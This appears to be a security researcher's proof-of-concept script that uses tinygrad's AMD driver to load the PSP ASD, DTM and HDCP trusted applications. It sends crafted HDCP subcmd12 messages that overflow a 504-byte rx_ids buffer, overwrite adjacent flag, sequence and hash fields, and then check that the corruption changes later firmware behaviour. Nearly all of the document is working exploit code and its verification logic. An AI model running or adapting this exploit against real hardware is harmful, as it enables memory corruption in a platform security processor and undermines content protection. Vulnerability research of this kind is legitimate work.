"""Escalate + prove the HANG-FREE rx_ids overflow (branch B).

Plain subcmd12, len=5N+25, msg[0]=msg[1]=0, seq(msg[6])!=0, fresh slot ->
branch B: copies 5*N into the 504-byte rx_ids, then returns 108 BEFORE the MAC.
Descriptor maxlen 0x220 caps 5N+26<=544 -> N<=103 -> copy up to 515 bytes =
11 bytes past rx_ids, overwriting flag_24d(0x24d), seq_num(0x254), hash(0x258)
within the slot. All hang-free (defeats HANDLER-AUDIT sec 9.3).

Behavioral corruption proof: overwrite flag_24d (rx_ids index 0x1F8=504) with a
nonzero byte; the NEXT subcmd12 reads flag_24d at its top (line 63) and takes the
asd_rpc_1a2 path -> observable status change vs a clean slot.
"""
import ctypes, struct, time
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32
d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp); C2P=90112+64
def crash(): return {n:adev.rreg(C2P+n) for n in (82,83,84,85,86)}
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
P='/Users/user/dev/amd-psp-re/psp_out/'
def load(cmd,blob):
    ap,amc=alloc(0x40000); cp,cmc=alloc(0x8000)
    adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
    t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
    t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=0x8000
    r=psp._ring_submit(c); return r.resp.session_id,cp
load(am.GFX_CMD_ID_LOAD_ASD, open(P+'asd_full.bin','rb').read())
dtm_sid,dtm_shm=load(am.GFX_CMD_ID_LOAD_TA, open(P+'dtm_full.bin','rb').read())
sid,shm=load(am.GFX_CMD_ID_LOAD_TA, open(P+'hdcp_full.bin','rb').read())
def inv(s,sh,buf,tc):
    adev.vram.view(sh,0x8000)[:]=bytes(buf); adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
    iv.session_id,iv.ta_cmd_id=s,tc; t0=time.time()
    try: psp._ring_submit(ic); return 0, bytes(adev.vram.view(sh,0x2000)[:]), time.time()-t0
    except RuntimeError: return stat(), bytes(adev.vram.view(sh,0x2000)[:]), time.time()-t0
    except TimeoutError: return "TIMEOUT",None,time.time()-t0
def topo(h):
    b=bytearray(0x8000); struct.pack_into('<I',b,0,2)
    struct.pack_into('<10I',b,0x10,h,1,1,0,0,0,0,0,0,0)
    return inv(dtm_sid,dtm_shm,b,2)[1]
def hdcp(cmd,mut):
    b=bytearray(0x8000); struct.pack_into('<I',b,0,cmd); mut(b)
    ps,out,dt=inv(sid,shm,b,cmd)
    if out is None: return ps,None,None,dt
    return ps, struct.unpack_from('<I',out,4)[0], out, dt
def opn(h):
    ps,ret,out,dt=hdcp(0x0E, lambda b: struct.pack_into('<I',b,0xC,h))
    return ret, (struct.unpack_from('<I',out,0x1410)[0] if out else None)
for h in range(8): topo(h)

def fireB(slot,N,mark_off=None,mark=0x41):
    def m(b):
        struct.pack_into('<I',b,0xC,slot)
        struct.pack_into('<I',b,0x10,12)         # desc1.id
        struct.pack_into('<I',b,0x14,5*N+26)     # desc1.len -> rxinfo len 5N+25
        b[0x28]=12                               # data id match
        b[0x29]=0; b[0x2A]=0; b[0x2B]=N&0xFF     # msg[0,1,2]
        b[0x2F]=1                                # msg[6] seq nonzero
        src=0x35                                 # msg+25 copy source (b[0x29]=msg0 -> +25 = 0x42?)
        # msg starts at b[0x29]; msg+25 = b[0x29+25] = b[0x42]
        src=0x29+25
        for k in range(src,src+5*N): b[k]=mark if (mark_off is None) else 0x41
        if mark_off is not None: b[src+mark_off]=mark
    ps,ret,out,dt=hdcp(0x0F,m)
    return ps,ret,(struct.unpack_from('<I',out,0x1424)[0] if out else None),dt

r,slot=opn(0); print("open slot=%s ret=%s"%(slot,r))
print("\n%-40s %-8s %-7s %-8s %s"%("case","psp","ta_ret","sub","elapsed"))
for N in (52,101,102,103):
    ps,ret,sub,dt=fireB(slot,N)
    oob=max(0,5*N-504)
    print("N=%-3d copy=%-4d OOB=%-3d branchB"%(N,5*N,oob), "-> psp=%s ta=%s sub=%s %.3fs%s"%(ps,ret,sub,dt," HUNG!" if ps=="TIMEOUT" else ""))
    if ps=="TIMEOUT": print("   sOS=%s crash=%s"%(psp.is_sos_alive(),{k:hex(v) for k,v in crash().items()})); break
print("sOS alive:", psp.is_sos_alive())

# --- behavioral corruption proof: overwrite flag_24d (rx_ids idx 0x1F8=504) ---
print("\n=== flag_24d corruption proof ===")
r2,slotB=opn(1); print("fresh slot B=%s"%slotB)
# clean baseline on slot B
ps,ret,sub0,dt=fireB(slotB,52)
print("clean slotB subcmd12 N=52 -> ta=%s sub=%s"%(ret,sub0))
# corrupt: N=102 writes idx 504 (flag_24d) with 0xAA
ps,ret,subc,dt=fireB(slotB,102,mark_off=504,mark=0xAA)
print("OOB write flag_24d=0xAA (N=102) -> ta=%s sub=%s %.3fs"%(ret,subc,dt))
# follow-up benign subcmd12: line63 reads flag_24d, now nonzero -> asd_rpc_1a2 path
ps,ret,sub1,dt=fireB(slotB,52)
print("follow-up subcmd12 N=52 -> ta=%s sub=%s (baseline was %s)"%(ret,sub1,sub0))
print("CORRUPTION OBSERVED:", sub1!=sub0 or ret!=0)
print("sOS alive:", psp.is_sos_alive())